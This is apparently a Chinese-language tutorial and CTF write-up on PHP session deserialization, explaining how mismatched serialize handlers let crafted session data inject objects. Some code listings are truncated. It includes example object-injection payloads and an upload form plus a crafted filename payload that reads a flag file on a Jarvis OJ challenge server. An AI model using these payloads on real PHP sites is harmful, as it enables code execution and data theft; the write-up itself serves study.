应用场景
- 一般来说服务器是很少关机重启的,但是有的时候必须需要重启,而用户会话还在进行相应的操作,这时就需要使用序列化 来把这个 session 信息保存起来放在硬盘里,服务器重启后又重新加载。这样保证了用户信息不会丢失,实现永久化保存。
- 淘宝每年都会有定时抢购的活动,很多用户会提前登录等待,长时间不进行操作,一致保存在内存中,而到达指定时刻,几十万用户并发访问,就可能会有几十万个session,内存可能吃不消,这时就需要进行对象的活化、钝化,让其在闲置的时候离开内存,将信息保存至硬盘,等要用的时候,就重新加载进内存
【参考链接】
PHP 反序列化与 Session
PHP session 序列化机制
当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。
session 序列化及反序列化处理器
PHP 内置了一些处理器用于对 session 数据进行序列化及反序列化,常见的有以下三种:
- php 对应的存储格式为
键名 + | + 经过 serialize 序列化处理的值
。 - php_binary 对应的存储格式为
键名长度对应的ASCII字符+ 键名 + 经过serialize 序列化的值
。 - php_serialize (php>=5.5) 对应的存储格式为
经过 serialize 序列化的值
与 session 相关的配置项
session 配置项有很多可选的,这里我只学习我们利用需要用到的。
- session.auto_start 表示是否自动启用 session 相关机制( 如果改它需要重启服务器 ),如果自动启动可以不用 session_start() 来调用。(可以不用尝试在代码里改它了)
- session.save_path 表明了,这个序列化文件存放在哪。
- session.serialize_handler 定义用什么序列化/反序列化处理器
几种 处理器 的区别
php处理器
使用 代码如下得到的结果是1
2
3
4
5
6
7<?php
ini_set("session.serialize_handler","php");
session_start();
$_SESSION["a"]=array("1"=>"a","2"=>"b");
$_SESSION["b"]="start";
echo "success,serialize_handler is php!";
?>1
2a|a:2:{i:1;s:1:"a";i:2;s:1:"b";}b|s:5:"start";
可以看出是 键名+| + 序列化后的值
php_binary 处理器
使用代码如下:
1 | <?php |
得到的结果是
1 | ?aa:2:{i:1;s:2:"1a";i:2;s:2:"2b";}?bs:5:"start"; |
php_serialize 处理器
代码如下:
1 | <?php |
结果存储的值为:
1 | a:2:{s:1:"a";a:2:{i:1;s:2:"1a";i:2;s:2:"2b";}s:1:"b";s:5:"start";} |
PHP Session 中序列化的危害
PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在序列化存储的$_SESSION数据时使用的处理器和反序列化使用的处理器不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。
举个简单的例子
test_1.php 内容为下:
1 | <?php |
test_2.php 内容如下
1 | <?php |
我们先在test_1.php 中传入?a=|O:5:"lemon":1:{s:2:"hi";s:15:"echo "success";";}
那么,session文件里的内容为:
1 | a:1:{s:4:"mayi";s:49:"|O:5:"lemon":1:{s:2:"hi";s:15:"echo "success";";}";} |
然后我们在访问 test_2.php 可以猜想到因为处理器的不同,对session的理解也会不同,php处理器 把 |
前面的理解为键名。也就是说a:1:{s:4:"mayi";s:49:"
成为了键名(以前的键名是a
),然后剩余部分经过反序列化后变成键值,也就是O:5:"lemon":1:{s:2:"hi";s:15:"echo "success";";}";}
值的注意的是后面的";}
会被忽略掉。那么这样我们就可以达到任意命令执行的效果啦!
再来看看一道 ctf 的题目
题目链接:http://web.jarvisoj.com:32784/
题目给了我们源码如下:
1 | <?php |
- 查看 phpinfo信息,发现全局用的php_serialize进行序列化,而这个页面是以php来进行解析的。那么理论上讲是可以准备$this->mdzz = ‘payload’;来进行攻击。
- 但是我们怎么将 payload 写入session全局变量呢?这里有一个技巧,php文件上传时会将文件名写入session。需要满足以下条件:【参考链接】
- session.upload_progress.enabled = On
- 上传一个字段的属性名和session.upload_progress.name的值相等,这里根据上面的phpinfo信息看得出。
写脚本传session值给 目标网站,需要注意的是注意这里 “PHP_SESSION_UPLOAD_PROGRESS” 的 value不能为空 也就是这个项的值不能为空,脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<html>
<head>
<title>upload</title>
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
//记得是以POST方法传过去
//其中hidden 是隐藏的文本输入框,用文本框(text)也可以最后将文件名改为
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:89:\"var_dump(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));\";}
得到flag
有一个疑惑: 为什么不可以把 name=”PHP_SESSION_UPLOAD_PROGRESS”; 这个项直接写在 file 那里面?
参考链接:
https://www.mi1k7ea.com/2019/04/21/PHP-session%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x04-%E5%8F%82%E8%80%83
https://blog.spoock.com/2016/10/16/php-serialize-problem/
https://www.cnblogs.com/sijidou/p/10455646.html